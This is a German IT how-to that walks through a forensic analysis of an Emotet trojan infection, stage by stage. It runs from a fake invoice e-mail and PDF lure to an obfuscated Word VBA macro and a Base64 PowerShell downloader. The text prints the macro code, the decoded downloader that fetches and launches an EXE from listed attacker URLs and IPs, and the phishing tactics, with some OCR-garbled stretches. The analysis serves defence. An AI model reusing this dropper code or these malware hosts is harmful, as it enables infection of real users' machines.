<u>Inhalt</u>

Szenario	2
Aufbau der Testumgebung	2
Die Infektion - Forensik	2
Stage 1 – PDF-Datei als Mailanhang	2
Stage 2 – der Link in der PDF-Datei	4
Stage 3 – die Word-Datei	4
Stage 4 – der PowerShellCode	
Stage 5 – die EXE #1	
Stage 6 – die EXE #2	
Gegenmaßnahmen	
Stage 1 – die PDF als Mailanhang	
Stage 2 – der Link in der PDF-Datei	
Stage 3 – die Word-Datei	
Stage 4 – der PowerShellCode	21
Stage 5 – die EXE #1	24
Stage 6 – die EXE #2	
Fgzit	



<u>Szenario</u>

In den letzten Monaten steht der Trojaner Emotet immer wieder in den Schlagzeilen. Das er leistungsfähig ist kann kaum wiederlegt werden. Aber wie wird man eigentlich infiziert? Nur wenn man die Infektionswege und Varianten versteht, kann man sich richtig schützen.

Um dieses Thema zu klären habe ich eine scharfe Variante analysiert. Das Ergebnis möchte ich in diesem WSHowTo präsentieren.

In meinem Szenario erhält ein Benutzer eine Mail mit einem PDF im Anhang. Er muss also aktiv am Start des Trojaners beteiligt werden. Dann folgt eine Kette von Ereignissen. Zuletzt ist der Schadcode aktiv. Ich werde die einzelnen Phasen (Stages) separat beleuchten und bewerten.

Aufbau der Testumgebung

Damit es bei der Untersuchung des Schadcodes nicht zu einer unkontrollierten Ausbreitung kommt, ist eine Testumgebung wichtig. Diese muss aber unter Umständen das Internet erreichen können. In meinem Setup steht der Testclient in einem separaten Netzwerksegment. Sein Gateway ist eine PFSense – ein Firewallsystem, dass aktuell **keine** Kommunikation nach außen zulässt. Die Internetleitung wird nur von den LAB-Maschinen genutzt. Zusätzlich steht ein isoliertes, autonomes System im gleichen Netzwerk. Darauf läuft ein **WireShark**. Dank SwitchPort-Mirroring kann er den ein- und ausgehenden Traffic des Testclients mitschneiden, ohne selber erreichbar zu sein und ohne Kenntnis des Testclients.



Die Infektion - Forensik

<u>Stage 1 – PDF-Datei als Mailanhang</u>

Der Benutzer erhält eine Mail mit einer PDF. Die Mail nutzt dabei Bausteine, die den Empfänger

- unter Druck setzen: Das können z.B. Mahnungen für offene Rechnungen sein. Wer hat schon gerne Schulden? In Firmen kann es durchaus Ärger geben, wenn man als Angestellter eine Rechnung nicht in die Buchhaltung weitergeleitet hat und die Firma dafür geradestehen muss.
- **neugierig machen**: Hier finden wir oft im Text einer Mail Hinweise auf vertrauliche Informationen in der angehängten Datei, die wohl "versehentlich" an den Empfänger gesendet wurden… Besonders perfide ist es, wenn da z.B. der Name eines Kollegen im Dateinamen der "Abmahnung" oder "Kündigung" drinsteht. "Was hat der wohl angestellt…" KLICK.
- nicht irritieren, weil er den Empfang erwartet: Das könnte z.B. eine "Bewerbung" für eine ausgeschriebene Stelle im Unternehmen sein. Ebenso könnte ein Vertriebsmitarbeiter durch eine vorherige "Korrespondenz" den Erhalt einer Mail vom vermeintlichen Neukunden erwarten. Vertrauen und die Erwartung von Profit spielen eine wichtige Rolle.

In dieser Mail wurde die "Rechnungs-Masche" angewandt:

IT-Solutions WSHowTo - Forensik einer Trojanerinfektion 2019-02-18

Buchhaltung . <johanna.perez@finglosa.com> Tessa Test Offene Rechung</johanna.perez@finglosa.com>
1 Sie haben diese Nachricht am 18.02.2019 12:32 weitergeleitet. Die zusätzlichen Zeilenumbrüche wurden aus dieser Nachricht entfernt.
Rechnungskopie39216518022019.pdf _ 5 KB
Sehr geehrte Damen und Herren,
anbei die Ihnen fehlenden Beleg.
Freue mich von Ihnen zu hören auf gute Zusammenarbeit. >br>
Viele Grüße
Buchhaltung Crashwork
- Gebührenfreien Rufnummer 0800 – 897 811 1 EMail: Buchhaltung@Crashwork.de

Dem geübten Auge wird hier sofort der Fake auffallen. Dennoch genügt es, wenn EIN Benutzer in der Firma darauf hereinfällt: Ein Trojaner könnte die Kontakte seines Opfers auslesen und sich in dessen Namen mit seiner Mailadresse weiterverbreiten. Die so erzeugten Mails sind für die nächsten Empfänger viel realer, denn sie könnten Antworten auf bereits gesendete Mails sein!

OK, der Benutzer hat die Mail geöffnet und klickt nun auf das PDF. Diese Datei enthält folgenden Text:



Hört ihr, wie meine Augen rollen? Schlechter kann so etwas gar nicht sein! Statt der erwarteten Rechnung soll der Benutzer auf den Link klicken, um die Datei zu öffnen. Na gut, wo zeigt der Link hin?

WSHowTo - Forensik einer Trojanerinfektion 2019-02-18



Die "Rechnung" liegt also als gescanntes Dokument auf einem Webserver, der über seine IPv4 angesprochen wird… Das muss nicht immer so schlecht wie in diesem Beispiel aussehen. Daher spielen wir weiter. Jetzt geht es also erst einmal ins Internet.

<u>Stage 2 – der Link in der PDF-Datei</u>

T-Solutions

Was bekommt man, wenn man auf den Link klickt? Und viel wichtiger: wie klickt man für eine Forensik auf den Link, ohne das Element dahinter zu starten? Das kann die PowerShell mit der .net-Methode "DownloadString":

yyyyyyyyyyyyyyyy R O J E C T w m yyyyyyy ID="(AEC Document=J7836927/840000000 Modula=k3_0-9 Exektame32_0-9 Kettames"Project" Wersioncompatible32="3922000" Versioncompatible32="3922200" CMG="38315A34646464645964E964E964E964E964E964E9645964564596459645645964596456459645 Pr="motioncompatible32=7059854395566648"	۶۶۶۶۶ ۶۶۶۶۶ DDC05-56A2-48 0") 882-9AGF	! -3D2BD4CDFE0	ף זיזיזיזיזיזיזיזיזיזיזיזיזיזיזיזייזייזיי	н	J7836927 J 7 8 3 6 9 2 7 СотрОЬј	7 K3_0_9 K 3 E 0 - 9 5 P R 0 J E C T 9 3000000000000000000000000000000000000	р УУУУУ
[Host Extender Info] &H00000001={3832D640-CF90-11CF	F-8E43-00A0CS	911005A}	; VBE ; &H00000	0000				
[Workspace] 7836927=0, 0, 0, 0, 0, C K3_0_9=25, 25, 1385, 693, ÿÿÿÿ A F Micri MSWordDoc Word.Document.	þý osoft Word 97 .8 ô9²q	7-2003 D	ocument					

Mit der PowerShell kann ich das Element als Text anzeigen lassen. Dieser Text sollte ungefährlich sein. Aus den dargestellten Informationen kann man erkennen, dass es eine Word-Datei ist. Laden wir die Datei einmal herunter uns sehen nach:



<u>Stage 3 – die Word-Datei</u>

Nun öffne ich die Word-Datei mit Word 2016. In meiner Testumgebung gibt es für Office keine GPOs. Dennoch genügen hier die entgegen der weitläufigen Meinung die Standardeinstellungen für einen Schutz:



Die Datei stammt aus dem Internet. Word kann dieses Attribut erkennen und reagiert mit einem schreibgeschützten Öffnen. Netterweise steht in der Datei selber, wie man das umgehen kann... Natürlich in englisch – was würde man sonst auch erwarten. Leider zeigt Word den Schalter in einem auffälligen, gelben Banner an – das zieht Endanwender irgendwie magisch an. Und jetzt kommt ja auch die Neugier ins Spiel: Wo ist denn nun die vermeintliche Rechnung??

Ein Restrisiko bleibt natürlich bei der Untersuchung. Daher starte ich eine Instanz von ProcMon aus den Sysinternal-Tools. Damit kann ich das Verhalten aufzeichnen. Nun aktiviere ich die Bearbeitung. KLICK.

Nach der Aktivierung schützt Word den Benutzer weiter, indem Makros – also ausführbarer, eingebetteter Code – nicht ausgeführt werden. Leider kann der Benutzer das in den Standardeinstellungen leicht mit einem Klick auf den Schalter im 2. Banner umgehen (so steht es ja schließlich auch in der "Anleitung") – und somit wird der Code gestartet:



Für die Forensik wäre jetzt natürlich ein Blick in diesen Makrocode interessanter. Daher starte ich dessen Anzeige mit <ALT>+<F11>:

WS IT-Solutions WSHowTo - Forensik einer Trojanerinfektion 2019-02-18



OK, das sieht wüst aus. Hier sollen Virenscanner und Administratoren verwirrt werden. Dennoch ist in dem über 1000 Zeilen langen Text eine Anweisung enthalten! Der Code wurde bestimmt nicht von Hand getippt sondern durch ein Script oder Ähnliches erstellt. Diese Art von ScriptCode nennen wir Obfuskierung (Verschleierung).

2 Merkmale sind erkennbar:

- Es existieren extrem viele IF-Statements mit komplexen Aktionen, die aber nie ausgeführt werden, weil die Bedingungen nie wahr werden das sind einfach Füller für den Virenscanner... Da die sinnfreien Zeilen zufällig generiert werden, wird immer ein neuer "Schadcode" in der Totalen generiert.
- Zwischen den IF-Statements stehen Textbausteine, die eine Befehlszeile ergeben.

Nehmen wir den Code einmal auseinander. Ganz unten ab Zeile 1094 (!!) steht die AutoOpen-Funktion. Diese wird von Word beim Öffnen des Dokumentes automatisch ausgeführt, wenn es die Makroeinstellungen erlauben:

```
Sub autoopen()
On Error Resume Next
   If z53024 <> R082833 Then
      u015 = (77036882)
    n0_0_9_ = w_6_8_7 * 578297639 + f207184 + CLng(G8226738)
b7 38688 = 671238169 / Hex(V373291 / Chr(K 61 2 - CDate(694009187)) * 990604122 / 502381095) /
     - Fix(148753492)
q01
C9 \ 3 \ 59 = (916786163)
End If
   If C3__59__ <> w839__ Then
     A296 = (764033767)
   C823 \ 0 = p6740589 \ * \ 578306598 \ + \ s17 \ 8 \ + \ CLng(093 \ 396)
B1_0_ = 537115274 / Hex(S_2_630_ / Chr(a409_41 - CDate(616746102)) * 553045231 / 225003895) / U468_4
- Fix(210514842)
X69 23 = (757067388)
End If
w 7 0 E10 1 + "powe" + j 5233 + m4 004 + r833598 + M 00908 + t51 588 + B 5860 + X37050
f_928833 + b2___037 + t5_13_72 + z61_279, F_20_34_ + p84551 + s_2041_ + j_211_3
  If N 25 77 <> R283400 Then
      w644950 = (949227701)
    A10944 = j3469 63 * 977237275 + J41 65 + CLng(F 0
j74 760 = 180959616 / Hex(B04320 6 / Chr(C 4 33 - CDate(980477002)) * 265829552 / 329089871) /
   Y 50 91 = (908730169)
End If
   If b 9091 <> d8417 7 Then
     H912 \ 3 = (216171816)
    s6 3 7 = r567167 * 187657420 + A501206 + CLng(m864 66)
```

```
WS IT-Solutions WSHowTo - Forensik einer Trojanerinfektion 2019-02-18
```

```
Y912994 = 696771524 / Hex(b5056_ / Chr(T_75_ - CDate(187512567)) * 108805309 / 807980059) / Q_13_6 -
Fix(188493323)
B6_58 = (3148467)
End If
End Sub
```

Die Bedingung prüft 2 Variablen gegeneinander. Beide wurden aber nicht initialisiert. Daher sind beide NULL. Und NULL ist nie ungleich NULL. Daher ist dieser Code reines Füllmaterial! Blenden wir diese sinnfreien Zeilen einmal aus. Dazu speichere ich die Codezeilen in einer Textdatei und nutze einige PowerShell-Zeilen zum Ausblenden der IFs und zum optischen Einrücken:



Das sieht schon viel besser aus. 🐵 Nun kommt der digitale Textmarker zum Einsatz:

```
Function Q 26135()
End Function
Function w 7 0 (b13 0 , d35585)
   On Error Resume Next
   Set H 700 = GetObject("winmgm" + "ts:Win" + "32 Proce" + "ssStartup")
   H 700. Show Window = 51462 - 51462
    GetObject("winmg" + "mts:Wi" + "n32 Process").Create L72 2258 + b13 0 + 060229 + n 23 +
       m615957, A4_66_6, H__700, L__904
End Function
Function t51 588()
    On Error Resume Next
   03724 25 = "rshell" + " -e J" + "ABhA" + "F8AXwB" + "fAD" + "QAN" + "QAZ" + "ADgAP"
   P 7086 = "QAOACC" + "ATAAZA" + "DMANWB" + "fAC" + "CAKW" + "ANADKA" + "MQAN" + "ACKAO"
    p7 7303 = "wAk" + "AE4" + "ANAA0A" + "F8A" + "NABfAD" + "0Ab" + "gBlAH" + "cALQB" + "vAGI"
   T.09
          = "Aag" + "BlAG" + "MAdAA" + "gAE4A" + "ZQB0"
    Y7 13 6 = "AC4AVw" + "BlAG" + "IAQwBs" + "AGkAZQ" + "BuAH"
    t51 588 = 03724 25 + P 7086 + p7 7303 + L09 + Y7 13 6
End Function
Function B 5860 ()
   On Error Resume Next
    r 94553 = "QAOWA" + "kAFAA" + "MQA2" + "AF8A" + "OAAWA" + "F8AOQA"
    c438 361 = "9ACgAJ" + "wBoAHQ" + "AdAB" + "wADoA" + "JwAr" + "ACcAL" + "wAvAC"
    S 44919 = "CAK" + "WANAGI" + "AYQ" + "ANACSA" + "JWB6AG" + "UAZQ" + "AZAC" + "CAKWA"
    s49_9785 = "nADYAN" + "QAuAG" + "MAbwB" + "tAC" + "8AdgA"
   X 846 = "nACsA" + "JwA" + "1ADk" + "ASAB4A" + "FoAJ" + "wAr"
    U 9 = "ACCA" + "eQBAA" + "GGAdAB" + "OAHAAO" + "GANAC" + "SAJWAV" + "AC8A" + "ZwBp"
```

```
2019-02-18
u9230 25 = "AGE" + "AbgB" + "jAGE" + "AJw" + "ArA"
    T16509 = "CcAc" + "gAnAC" + "sAJw" + "BsAG8" + "Acg"
    v_91_65 = "BhA" + "HMAJw" + "ArACc" + "AbwAu" + "AGMAb" + "wAnAC" + "sAJ" + "wBtAC8" + "AeAB"
    D3____ = "3AFMAa" + "QBQ" + "ADUANA" + "AnAC" + "SAJwA" + "3AEA" + "AJw" + "ArAC"
           = r 94553 + c438_361 + s_44919 + s49_9785 + X_846_ + U_9_ + u9230_25 + T16509 +
    B 5860
        v 91 65 + D3
End Function
Function X37050 ()
   On Error Resume Next
    G 94887 = "CAAAB0" + "AHQ" + "ACA" + "A6AC8" + "ALW" + "AxACC" + "AKW" + "AnAD" + "MALG"
    i 55 7 = "AyADM" + "AMwAu" + "ADEAJ" + "wArAC" + "CAO" + "AAZA" + "C4AM" + "GAYA" + "DCAJWA"
    Z825 38 = "rACcA" + "LwA1A" + "FYAZgB" + "xAH" + "EAC" + "wBtAFY" + "AQABOA" + "CcAK"
    C 5 1 = "WANA" + "HQAd" + "ABWA" + "CCA" + "KWANA" + "DOALW" + "AVA" + "DEA" + "JWARA"
    B 37910 = "CcAM" + "gA4AC" + "4AMQA" + "nACsAJ" + "wA5" + "ADkAL"
    i7549 = "gAx" + "ADg" + "ANwAuA" + "DEAJ" + "wArA" + "CcAMgA"
    f87 7 = "0AC8A" + "dqAzAC" + "cAKw" + "ANA" + "DUAAAB" + "yAGIA" + "RqB6" + "AEAA"
    Q1330 94 = "aAB0AH" + "QACAA6" + "AC8A" + "LwAxA" + "DAANA" + "AuA" + "CCAKWA"
    h90 3 = "nADIAM" + "gAnA" + "CsAJwA" + "zAC4AJ" + "wArAC"
    U 33 6 = "CANAA" + "WACC" + "AKWANA" + "C4ANA" + "AWACC" + "AKWANA" + "C8AOA" + "BDA"
    15986 0 = "HEAUG" + "ANA" + "CSAJ" + "WBJA" + "EOAA" + "ABHAC" + "CAKWAN" + "ADQA"
    X37050
            _ = G__94887 + i_55_7 + Z825__38 + C_5_1 + B_37910 + i7549__ + f87_7__ + Q1330_94 +
        h90_3_ + U__33_6 + i5986_0
End Function
Function f 928833()
   On Error Resume Next
    h00 926 = "JwApAC" + "4AU" + "wBwAGw" + "AaQ" + "B0ACq" + "AJwBAA" + "CcAKQA" + "7ACQ" + "AcqA"
    r365070 = "wADYAM" + "wA5" + "ADgAXw" + "A9ACgA" + "JwB" + "LADMAM" + "AA0ADM" + "AJwAr" +
        "ACcANg"
    1513 1 = "AnAC" + "SAJw" + "A0ACcA" + "KQA7A" + "CQAbQ" + "A2ADqA" + "XwA4AD"
    Z2956 6 = "gAIA" + "A9ACA" + "AKAAnA" + "DMAJw" + "ArACcA"
            = "NAA1" + "ACc" + "AKQA" + "7ACQ" + "AQQ" + "BFAD" + "UAX"
    v4 4727
    c 9 31 2 = "wA0ADQ" + "AXwAxA" + "D0AKA" + "AnAGo" + "AXwBf" + "ADAA" + "JwArA" + "CcAMgA" +
        "xACcAK"
    M 0 01 = "QA7" + "ACQA" + "UAA" + "3ADY" + "AXwBfA"
    i 7483 = "F8APQ" + "AkAG" + "UAbg" + "B2ADo" + "AdQ"
          _ = "BzAGU" + "Acg" + "BwAH" + "IAb" + "wBm" + "AGkAbA"
    r51
    i3_00_ = "Blacs" + "AJwB" + "cAcca" + "KwA" + "kAG0A" + "NgA4A" + "F8A" + "OAA4A" + "CSAKAA"
    f_928833 = h00_926_ + r365070 + I513_1 + Z2956_6_ + v4_4727_ + c_9_31_2 + M_0_01 + i_7483_ +
r51____+ i3_00_
End Function
Function b2 037()
    On Error Resume Next
    H7 827 = "nAC4AZ" + "QAnACs" + "AJwB4" + "AGUAJ" + "wAp" + "ADsA"
    n9 2827 = "ZgBvAH" + "IAZ" + "QBh" + "AGM" + "AaA"
    R79 17 = "AOACQ" + "ARgA" + "zAF" + "8AMgA" + "yAF8AM"
    L6_2_5__ = "wAwACA" + "AaQBu" + "ACAAJA" + "BQADEA" + "NgBfAD" + "gAMA"
    J 121 3 = "BfADkA" + "KQB7A" + "HQAcg" + "B5A" + "HSA" + "JABOAD" + "QANABf"
    S 92775 = "ADQA" + "XwAuA" + "EQAb" + "wB3AG" + "4AbA" + "BvAGEA"
    k 0588 = "ZABGAG" + "kAbAB1" + "ACGAJA" + "BGADM" + "AXwAyA" + "DIAXw"
    B091169 = "AzA" + "DAA" + "LAAGAC" + "QAU" + "AA3A" + "DYA" + "XwB" + "fAF" + "8AK"
    c00 95 = "QA7AC" + "QAaQA1" + "ADY" + "ANwA3A" + "F8APQA" + "oAcc" + "AdA"
    b2___037 = H7_827 + n9_2827 + R79_17 + L6_2_5___ + J_121_3 + S_92775 + k_0588 + B091169 + c00_95_
End Function
Function t5 13 72()
   On Error Resume Next
    16 4 56 = "BfAF8A" + "XwA" + "nACsAJ" + "wAz" + "ADc" + "AXw" + "AnACkA"
   G 510 = "OwBJA" + "GYAIA" + "AOA" + "CGARwB" + "IAH"
```

WSHowTo - Forensik einer Trojanerinfektion

WS IT-Solutions

```
WS IT-Solutions WSHowTo - Forensik einer Trojanerinfektion 2019-02-18
```

```
M 86 0 = "QALQBJ" + "AHQAZQ" + "BtA" + "CAAJAB" + "QAD"
    i 08682 = "cAN" + "gBfAF8" + "AXwA" + "pAC4Ab" + "ABIA" + "G4AZ" + "wB0AGg" + "AIA" + "AtAGc"
        570 = "AZQAq" + "ADQAM" + "AAWAD" + "APACAA" + "ewBJ" + "AG4Ad" + "qBvAGs"
    C05
    U_98650 = "AZQAtA" + "EkAdAB" + "lAG0A" + "IAAkAF" + "AANw" + "A2AF8A"
    B737787 = "XwBf" + "ADsA" + "JABh" + "ADgA" + "XwA" + "ZAF8AX" + "wA4A" + "F8AP" + "QAOAC"
    q9 95174 = "cAT" + "wAn" + "ACsAJ" + "wA0" + "ADE" + "AJw" + "ArAC" + "cAMwA"
    J 968 08 = "YAD" + "UAMGAW" + "ACCA" + "KQA7A" + "GIA" + "cgBlAG" + "EAaw"
    J973 4 = "A7A" + "H0AfQ" + "BjAG" + "EAdABj" + "AGg" + "AewB" + "9AH0"
    j3 2283 = "AJAB" + "kADCAO" + "AA4ADk" + "ANgBfA" + "D0AKA" + "ANA" + "EUA"
    t5_13_72 = 16_4_56 + G__510 + M_86_0 + i_08682 + C05_570 + U_98650_ + B737787 + q9_95174 + 
J_968_08 + J973_4_ + j3__2283
End Function
Function z61 279()
   On Error Resume Next
   Y57 9672 = "JwArA" + "CcA" + "MwAn" + "ACsA" + "JwAxAD" + "kAXwA" + "4ACc"
    w 5282 = "AKQA" + "7AA=" + "="
   z61_{279} = Y57_{9672} + w_{5282}
End Function
Sub autoopen()
   On Error Resume Next
w_7_0_ E10_1_ + "powe" + j_5233 + m4 004 + r833598 + M_00908 + t51_588 + B_5860_ + X37050_ + f_928833 + b2__037 + t5_13_72 + z61_279, F_2
0_34_ + p84551 + S_2041_ + j_211_3
End Sub
```

Der Code startet eine versteckte PowerShell mit einem Base64-encrypted Code! Die markanten Stellen habe ich markiert. Nun interessiert mich das Ergebnis – also die fertige Befehlszeile. Daher modifiziere ich den VBA-Code und gebe den PS-Code als Textdatei aus, statt ihn auszuführen. Der Aufruf der Codezeile steht hier. Die 2. Variable ist leer. Der Rest ist unser PowerShell-Code. Und ab hier gibt es Optionen für die Aufruf-Funktion. Eine Ausgabe OHNE AUSFÜHRUNG ist also mit dieser alternativen AutoOpen-Sub möglich:

ACHTUNG: Wenn ihr euch nicht sicher seid, ob die Ausführung sicher ist, dann prüft die Ausführung mit Einzelschritten!

Ich starte meinen modifizierten Code:





Das Ergebnis ist eine Textdatei auf dem Desktop meiner Testuserin. Darin finde ich den PowerShell-Code:



Die PowerShell kann diese Zeile lesen und ausführen. Nur was wird das sein?

Stage 4 – der PowerShellCode

Base64 ist eine Kodierung und keine Verschlüsselung. Wie sollte die PowerShell das sonst lesen können? Also können auch wir den Code lesbar darstellen. Dafür brauche ich folgende Anweisung:



Puh, schon wieder obfuskiert! OK, dann zaubern wir den Text mal etwas lesbarer. Jedes Semikolon stellt in der PowerShell das Ende eines Befehles dar und entspricht somit einen Zeilenumbruch:



Der Rest ist nun ausreichend lesbar. Es sind wieder Füllzeilen mit Zufallszahlen enthalten. Diese sollen Virenscanner täuschen. Mit etwas optischer Korrektur kommen nun folgende Anweisungen raus:

<pre>2 \$N44_4_=new-object Net.WebClient Hier wird .net verwendet, um eine Internetverbindung zu einem Webserver aufzubauen. 3 \$P16_80_9=('http:'+'//'+'ba'+'zee3'+'65.com/v'+'59HxZ'+'y@http:'+'//gianca' ras'+'o.co'+'m/xwSiP54'+'7@'+'http://1'+'3.233.1'+'83.227'+'/5 VfqqsmV@h'+'ttp'+'://1'+'28.1'+'99.187.1'+'24/v3'+'5hrbFz@http://104.'+'22' 0'+'.40'+'/8CqR'+'IJhG'+'4').Split('@') Das sind die URL's, die verwendet werden sollen. Diese werden als ein Textarray gespeichert, das aus Einzeiler durch Aufteilung (Split) gebildet wird. Das sind die Adressen: PS C:\> ('http:'+'//'+'ba'+'zee3'+'65.com/v'+'59HxZ'+'y@http:'+'//gianca'+'r'+'loras'+'o.co'+'m http://giancarloraso.com/wSiP547 http://l3.233.183.227/5VfqgsmV http://128.199.187.124/v35hrbFz http://104.223.40.40/8cqRIJhG4</pre>	+'r'+'lo +'3.'+'4 s einem \/xwSiP54'+'7(
Hier wird .net verwendet, um eine Internetverbindung zu einem Webserver aufzubauen. SP16_80_9=('http:'+'//'+'ba'+'zee3'+'65.com/v'+'59HxZ'+'y@http:'+'//gianca' ras'+'o.co'+'m/xwSiP54'+'7@'+'http://1'+'3.233.1'+'83.227'+'/5' Vfqqsmv@h'+'ttp'+'://1'+'28.1'+'99.187.1'+'24/v3'+'5hrbFz@http://104.'+'22'' 0'+'.40'+'/8CqR'+'IJhG'+'4').Split('@') Das sind die URL's, die verwendet werden sollen. Diese werden als ein Textarray gespeichert, das aus Einzeiler durch Aufteilung (Split) gebildet wird. Das sind die Adressen: PS C:\> ('http:'+'//'+'ba'+'zee3'+'65.com/v'+'59HxZ'+'y@http:'+'//gianca'+'r'+'loras'+'o.co'+'m http://bazee365.com/vS9HxZy http://gianca'loraso.com/xwSiP547 http://13.233.183.227/5VFqqsmV http://128.199.187.124/v35hrbFz http://104.223.40.40/8CqRIJhG4	+'r'+'lo +'3.'+'4 s einem ı/xwSiP54'+'70
<pre>3 \$P16_80_9=('http:'+'//'+'ba'+'zee3'+'65.com/v'+'59HxZ'+'y@http:'+'//gianca' ras'+'o.co'+'m/xwSiP54'+'7@'+'http://1'+'3.233.1'+'83.227'+'/5 VfqqsmV@h'+'ttp'+'://1'+'28.1'+'99.187.1'+'24/v3'+'5hrbFz@http://104.'+'22' 0'+'.40'+'/8CqR'+'IJhG'+'4').Split('@') Das sind die URL's, die verwendet werden sollen. Diese werden als ein Textarray gespeichert, das aus Einzeiler durch Aufteilung (Split) gebildet wird. Das sind die Adressen: PS C:\> ('http:'+'//'+'ba'+'zee3'+'65.com/v'+'59HxZ'+'y@http:'+'//gianca'+'r'+'loras'+'o.co'+'m http://bazee365.com/v59HxZy http://giancarloraso.com/xwSiP547 http://13.233.183.227/5VfqqsmV http://128.199.187.124/v35hrbFz http://104.223.40.40/8CqRIJhG4</pre>	+'r'+'lo +'3.'+'4 Is einem I/xwSiP54'+'70
Das sind die URL's, die verwendet werden sollen. Diese werden als ein Textarray gespeichert, das au Einzeiler durch Aufteilung (Split) gebildet wird. Das sind die Adressen: PS C:\> ('http:'+'//'+'ba'+'zee3'+'65.com/v'+'59HxZ'+'y@http:'+'//gianca'+'r'+'loras'+'o.co'+'m http://bazee365.com/v59HxZy http://giancarloraso.com/xwSiP547 http://13.233.183.227/5VfqqsmV http://128.199.187.124/v35hrbFz http://104.223.40.40/8CqRIJhG4	ıs einem ı/xwSiP54'+'7(
PS C:\> ('http:'+'//'+'ba'+'zee3'+'65.com/v'+'59HxZ'+'y@http:'+'//gianca'+'r'+'loras'+'o.co'+'m http://bazee365.com/v59HxZy http://giancarloraso.com/xwSiP547 http://13.233.183.227/5VfqqsmV http://128.199.187.124/v35hrbFz http://104.223.40.40/8CqRIJhG4	n/xwSiP54'+'7(
<pre>4+7 \$r06398_=('K3043'+'6'+'4') \$m68_88 = ('3'+'45') \$A_5_44_1=('j_0'+'21') \$P76=\$env:userprofile+'\'+\$m68_88+('.e'+'xe')</pre>	
In Zeile 4 und 7 wird ein Pfad zusammengebaut. Dieser löst sich so auf:	
<pre>PS C:\> \$r06398_=('K3043'+'6'+'4') \$m68_88 = ('3'+'45') \$A_5_44_1=('j_0'+'21') \$P76=\$env:userprofile+'\'+\$m68_88+('.e'+'xe') PS C:\> \$P76</pre>	
C:\Users\stephan\345.exe	
Da wird eine ausführbare Datei gespeichert!	
8 Dieser Code versucht die Datei aus dem Internet zu laden und als 345.exe (\$P76) zu speichern:	
8 = foreach(\$F3_22_30 in <u>\$P16_80_9</u>){try{\$N44_4DownloadFile(\$F3_22_30, 9 10	\$P76)
PS C:\> \$P16_80_9	
http://bazee365.com/v59HxZy http://giancarloraso.com/xwSiP547	
http://13.233.183.227/5VfqqsmV http://128.199.187.124/v35hrbFz http://104.223.40.40/8CqRIJhG4	
10 If ((Get-Item \$P76).length -ge 40000) {Invoke-Item \$P76	
Hier wird die Datei ausgeführt, wenn sie vorhanden ist.	

Alle anderen Zeilen sind Füller. Die PowerShell ist also ein Downloader und Launcher für eine EXE-Datei.

Für die weitere Untersuchung brauche ich diese EXE-Datei. Dafür starte ich einfach den PowerShell-Code **bis zur Zeile 9** – also ohne das Ausführen in Zeile 10. Tada:

📙 🗹 📕 🖛		Application Tools	tessa.test			
File Home Sh	nare View	Manage				
← → × ↑ 🖡 >	> This PC > Lo	cal Disk (C:) > U	sers > tessa.test >			
Ouick access	Name	^		Date modified	Туре	Size
- Deskton	🍃 🛛 👆 3D	Objects		15/10/2018 17:33	File folder	
Desktop	🕺 🛛 📠 Cor	itacts		15/10/2018 17:33	File folder	
Downloads	🕺 📙 Des	ktop		25/02/2019 07:08	File folder	
Documents	🧖 📙 Doo	cuments		18/02/2019 14:48	File folder	
E Pictures	🖈 🛛 👃 Dov	wnloads		15/10/2018 17:33	File folder	
🐌 Music	🛼 Fave	orites		15/10/2018 17:33	File folder	
📔 Videos	🗦 Link	(S		15/10/2018 17:33	File folder	
CoeDrive	🐌 Mu	sic		15/10/2018 17:33	File folder	
Gliebilve	📐 📐	Drive		15/10/2018 17:34	File folder	
🧢 This PC	🔚 Pict	ures		15/10/2018 17:33	File folder	
Network	🍺 Sav	ed Games		15/10/2018 17:33	File folder	
- Hetholik	🔎 Sea	rches		15/10/2018 17:33	File folder	
	🔳 Vid	eos		15/10/2018 17:33	File folder	
	I 345	.exe		18/02/2019 15:37	Application	132 KB

Stage 5 – die EXE #1

Bisher war es einfach, der Attacke zu folgen, denn alle Codes waren irgendwie lesbar. Eine EXE-Datei lässt sich nicht so einfach durchschauen. Aber es gibt Tools, die uns helfen können. Z.B. das kostenlose PEStudio:

🚰 pestudio 8.68 - Malware Initial Assessment - www.winitor.com										
File Help										
📽 🖶 🗡 🗎 💡										
c:\users\tessa.test\appdata\lo	property	value								
	file-type	dynamic-link library								
virustotal (22/66 - 18.02.20	date	n/a								
dos-stub (!This program c	language	english United States								
file-header (Nov.1995)	code-page	ANSI Latin 1								
optional-header (GUI)	CompanyName	LEAD Technologies, Inc.								
Girectories (Invalid)	FileDescription	LEADTOOLS(r) DLL for Win32								
libraries (6)	FileVersion	13.0.0.047								
imports (3/23)	InternalName	LFMSP13N								
exports (n/a)	LegalCopyright	Copyright© 1991-2001 LEAD Technologies, Inc.								
	LegalTrademarks	LEADTOOLS(r) is a trademark of LEAD Technologies, Inc.								
resources (1)	OriginalFilename	LFMSP13N.DLL								
abc strings (13/5/0/1640)	ProductName	LEADTOOLS(r) DLL for Win32								
	ProductVersion	13.0.0.047								
🗐 manifest (n/a)										
version (LFMSP13N.DLL)										
certificate (n/a)										
overlay (n/a)										

gestudio 8.68 - Malware Initial Assessment - www.winitor.com

File Help							
🖷 🖶 🗡 🗎 💡							
c:\users\tessa.test\appdata\lo	type	size	location	blacklist (13)	hint (5)	whitelist (0)	item (1640)
indicators (2/20)	ascii	21	.rdata:0	x	-	-	GetProcessHandleCount
virustotal (22/66 - 18.02.20	ascii	25	.rdata:0	x		-	WritePrivateProfileStruct
dos-stub (! I his program c	ascii	17	.rdata:0	x	-	-	GetCommProperties
antional header (Nov. 1995)	ascii	10	.rdata:0	x		-	GetVersion
directories (invalid)	ascii	21	.rdata:0	x	-	-	SetConsoleHistoryInfo
sections (96,97%)	ascii	19	.rdata:0	x		-	GetLargePageMinimum
libraries (6)	ascii	14	.rdata:0	x	-	-	GetCommandLine
	ascii	17	.rdata:0	×	-	-	GetCurrentProcess
exports (n/a)	ascii	21	.rdata:0	x	-	-	UserHandleGrantAccess
	unicode	15	.rdata:0	×	-	-	FileDescription
resources (1)	unicode	11	.rdata:0	x	-	-	FileVersion
abc strings (13/5/0/1640)	unicode	10	.rdata:0	x		-	13.0.0.047
	unicode	10	.rdata:0	x		-	13.0.0.047
🗾 manifest (n/a)	ascii	40	0x0000	-	x	-	!This program cannot be run in DOS mode.
····1.0 version (LFMSP13N.DLL)	ascii	6	0x0000	-	-	-	{Rich{
certificate (n/a)	ascii	5	0x0000	-	-	-	.text
🗋 overlay (n/a)	ascii	7	0x0000	-		-	`.rdata
	ascii	6	0x0000	-	-		@.data
	ascii	5	0x0000	-	x	-	.rsrc



